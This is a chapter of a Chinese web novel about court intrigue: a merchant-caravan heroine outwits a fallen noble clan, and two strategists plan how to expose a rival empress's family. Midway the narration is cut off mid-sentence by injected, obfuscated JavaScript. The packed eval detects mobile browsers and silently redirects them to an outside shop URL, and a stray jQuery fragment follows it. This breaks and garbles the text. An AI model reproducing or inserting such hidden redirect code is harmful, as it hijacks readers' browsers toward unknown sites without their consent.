22. 平衡点
    “王兄莫要动怒。”

    随着声音落下,淳于敏一只手扶着车厢边的木沿,另一只手上,那骨节分明的五指轻轻拨开被萧瑟冬风隐隐吹动的车帘,率先映入眼底的是那件淡青色的狐裘,以及腰间随步伐晃动的流苏。

    她的青丝被竹形的白玉簪齐整地束在头顶,白皙的面颊流露着清冷的神色,身姿的瘦削也在披风的包裹下掩盖无疑,让几个本手脚不干净的赵氏之人被吓了一跳。

    淳于敏没有下车,只是站在原地,轻轻合上车帘后,似笑非笑地俯视着这些人:

    “你们说自己是京城来微服的大人物时,可有弯下腰对着地上的水潭照一照,看看现在的样子有谁能相信?”

    几个赵氏之人被说得面颊浮起一抹愠色,看淳于敏的眼神立刻不善起来,而且这样的仰视姿态让那些向来跋扈惯了的世家子弟格外不舒服。

    尤其是先前的老妪,她混浊的眼珠中倒映着淳于敏高挑的身姿,清了下嗓子,面露不悦地扯着嗓子用沙哑的声音道:

    “俗话说得好,人不可貌相,海水不可斗量,这位公子看起来也是读书人,见我们眼下落魄就故作轻蔑,非君子所为也。”

    “不不不。”淳于敏伸出一只食指停滞在唇边,笑着摆了摆,“看来您以貌取人的技俩也不怎么样,我可不是什么读书人。”

    听着淳于敏三言两语就将了一军,王魁几人强憋着才没笑出声,至于赵氏族人,脸色难看到比墨水还黑。

    “简直欺人太甚!”

    “老太君,咱们要不要上去给他们点颜色瞧瞧!”

    几个年轻点的一副义愤填膺,但看到王魁马菁以及商队诸位兄弟姊妹健硕的体格活动着手腕,又低下头看了看他们自己整日养尊处优下,不是文弱就是虚胖的身躯,到底没一个敢真上前动粗。

    淳于敏见气氛积压得差不多了,故意拖长声音道:“不过人在江湖,多少有点难处,这点我也理解……”

    打一巴掌再给一颗甜枣这种技俩,她最喜欢用在外人上。

    淳于敏若有所思的目光轻飘飘地扫了四周一圈,最后定格在为首的老妪脸上:

    “虽然商队的车马肯定是没法借给你们,但沿着这条路往回走,倒是有个能抵物外借车马的驿站,既然你们说自己是有头有脸的人物,一个与路费等价的物品,应当不会拿不出来吧?”

    “老太君,怎么办?”

    其他人明显都在等老妪拿主意。

    论文,他们一个个自诩清高不像淳于敏那般巧舌如簧,论武,他们三个加起来都打不过商队一个人。

    老妪咬咬牙,喃喃细语:“罢了……把那个东西压出去吧!总归我赵家但凡有淮王在,就绝不会倒!”

    她说话的声音极小,像是在安抚旁边那些躁动不安的族人,却更像安慰她自己。

    她看淳于敏的眼神划过一丝恨意:“多谢这位公子给的建议,等我们回到京城,一定会给你应有的报酬。”

    凭她在京城生活这么些年,几十年一直熬到赵府老太君的位置,绝对不会判断错,这人定然和京城的士族有不浅的联系。

    只是按理来讲淳于敏这张面容很有辨识度,可在她印象中却没有在各种宴会上见过,难道是哪个大人寄养在外的私生子?

    这么一来,等赵氏重新风光了,就不得不给这不知天高地厚的黄毛小儿一点教训了……

    淳于敏像是没听出她话外之意,反倒毫不在意地笑着道:“举手之劳,报酬什么的我看也没必要追着给了。”

    说罢她便退一步回到了马车厢内,轻轻放下车帘朝王魁语气客气地唤道:“王兄,一场误会而已,我们继续上路吧。”

    “诶,好嘞!”

    王魁重新跨上马背,用力扯了下手边的缰绳,只见那匹高头大马忽然扬起前蹄,把站在旁边的赵家人吓了一大跳。

    “不好意思哈,俺这马跟俺一样,看到讨厌的人火气就比较大,冒犯莫见怪哈!”马菁挑了挑眉,故意说道。

    一个青年本要发火,却被老妪拽着胳膊拦住:“算了,先不跟这群贱民计较!将来有他们好果子吃!”

    踏雪好奇地凑过来:“小姐,您说的那家驿站是怎么一回事呀?”

    淳于敏把玩着腰间的锦囊,里面瓷瓶的形状随着她指尖的摩挲,面色波澜不惊。

    “那驿站是令莙的,不,准确来讲应该是我的,至于所谓的抵外物借用马车,倒也不假。”

    “奴婢懂了,小姐您的驿站是在做慈善!”踏雪的眼睛亮了亮,不过思索片刻后又暗了下来,摇摇头自己否定道。

    “不对……那些家伙一看就不是什么好人,还那样说王哥马姐他们,就算小姐做慈善凭什么帮他们!”

    淳于敏轻笑一声,看着踏雪的眼睛温声解释道:

    “有的东西如果通过抢拿到,效果就会大打折扣,说不定还可能被某些狗急跳墙的家伙反咬一口,可如果是他们心甘情愿交出来……事情就没有回转的余地了。”

    ……

    “主上,山城太守接到百姓上报,说他们这儿来了十几个流民,用蛟龙玉佩作为抵押换取两驾顶尖的车马和些许银两,他们担心打草惊蛇就没有阻拦。”

    “还有……听闻有猎户在山城外围的山上,发现了些沾血的官兵服碎衣,以及许多残肢的白骨,但山城的官兵并没有减缺。”

    空旷的平地上,元燧一袭黑衣束着利落的发如松般笔直地屹立在原地,他的手臂一平如秤,一曲如弯月,骨节分明的手指将那沉重的长弓拉至圆满。

    百米外的靶子上,正中央铜钱大小的红色靶心上插着四支鹤翎长箭,每一支都深深凹陷的嵌在靶内。

    元燧听着底下人的汇报,神色平静如水,像是一早就对这些事情的发生有了预料,待那人话落的片刻,猛地松开手中的弓弦。

    箭羽划破长空,快到肉眼难以捕捉其残影,同样发出鹰鸣般响彻云霄的声响,掀起一阵疾风!

    那支箭竟精准无误的落在了先前四支的正中央,足足半指厚的靶子被硬生生刺穿,前半支箭被那兽皮制成的靶子隔开,消失在正面的视线范围内。

    想来如果对面是肉身,定会被其一箭送上阎罗殿。

    一旁汇报的手下瞳孔猛然收缩,不由惊叹道:“主上好箭法!”

    力度和准劲,放在整个大齐能与之匹敌的一只手都数不过来,元燧微微仰着头,面上挂着睥睨自若的笑意。

    “持箭之道,在于快,准,稳。泰山崩于前而色不变,尘鹿行于左而目不瞬,当弓,箭,神,形融为一体,即能百发百中。”

    元燧一边说着,一边将手中的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624262|141662||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    弓放在一旁的弓架上,拍了拍那手下的肩膀。

    或许天赋与勤勉合一,数十年如一日的训练,又或许曾身在沙场,将远处的箭靶视作敌人的头颅,想象将其一箭射穿,以报血仇。

    射的从不仅是箭,更是恨意,亦更是目标与信仰。

    “传话告诉山城太守,派人在后面跟着那几个流民,保证他们顺利抵达目的地,其余不该问的就不要多问。”

    “至于那沾血的衣裳,既然山城没有缺失的官兵,许是那猎户眼神不好看错了,再加上荒山野岭,哪怕有丢失的衣服,也不算罕见……”

    “你说对吗?”

    与元燧含着笑的目光相对的刹那,汇报的手下几乎下意识垂下头,他的后背情不自禁冒起一层薄薄的冷汗,尽可能让语气平稳与缓和道:“是,属下这就去转达主上旨意。”

    手下离开后,元燧整理着衣袖,大步流星地走向坐在不远处木庭下棋盘前的燕清,神态已然没了原先的张扬之态,反倒见其杯盏内的茶水已凉,亲手用为其倒上一杯热茶。

    腾腾的热气如轻烟般飘散在寒冷的空气中,却意外聚成一缕优美的弧度,元燧语气谦逊道:

    “燕先生认为,当让那赵氏族人一无所知的回京后面圣公开姜氏污蔑一事为先,还是让姜皇后得知押送的官兵已死,派人刺杀掩盖秘密为先?”

    燕清站起身,微笑着礼貌朝面前人行了个拱手礼,双手接过白瓷杯:“在下以为两者皆有利有弊,且利弊相持,皆非上上策。”

    他小酌一口,随后将瓷杯放置在桌案的中央。只见杯中液化的白汽随着四周风向的变化忽左忽右地不断涌动,风势小,则缓慢溢散,风势大,则剧烈摇摆。

    “若是让赵氏族人顺利抵达京城,虽然能保证将证据完好无损地呈送到陛下面前,对姜皇后予以致命打击,可如今京城内外的交接监管隶属于元大人您的范畴,那些人能在您眼底行如此大张旗鼓之举,很容易遭人非议。”

    “而若是将此事透露提前给姜家,以他们的态度定会不惜一切代价让赵家人无法活着回到京城,只要我们将此事闹大,便不怕陛下不会知晓。”

    “哪怕发生意外,他们不小心死在姜家手里,姜家做贼心虚,也会寻个其他合理的由头了了此事,绝对能将我们摘干净。”

    燕清所言的这些利弊关系,元燧在心里也基本有底,这也正是让他犹豫不决,一时半刻难以下定决论的原因。

    “所以在下认为,应当在此之间找一个折中的平衡点,确保此事通过与姜家的碰撞传至陛下眼前,然而姜家又无法得逞,不动车马,一举将军。”

    燕清顿了顿,偏过头望向桌案上的茶盏和棋局,深黑色的瞳眸中倒映的却是偌大京城,不,确切是整个大齐局势的缩影。

    他拂袖将一枚边缘处的白子捻起,白皙瘦削的指尖与清澈透亮的白子竟像是融为一体。

    “而距离京城的必经之路,临献城,就是这个天秤的中心点。”

    “姜家的手能轻而易举够见,可他们却很容易忘了,淮王的眼线,你我的势力,以及上面那位陛下的眼睛,同样在他们周围驻扎徘徊。”

    燕清面色镇定,棋子随话语落在相应的位置上,清冷的音色与萧瑟的寒风交织。

    “所以他们必入局,亦必输无疑。”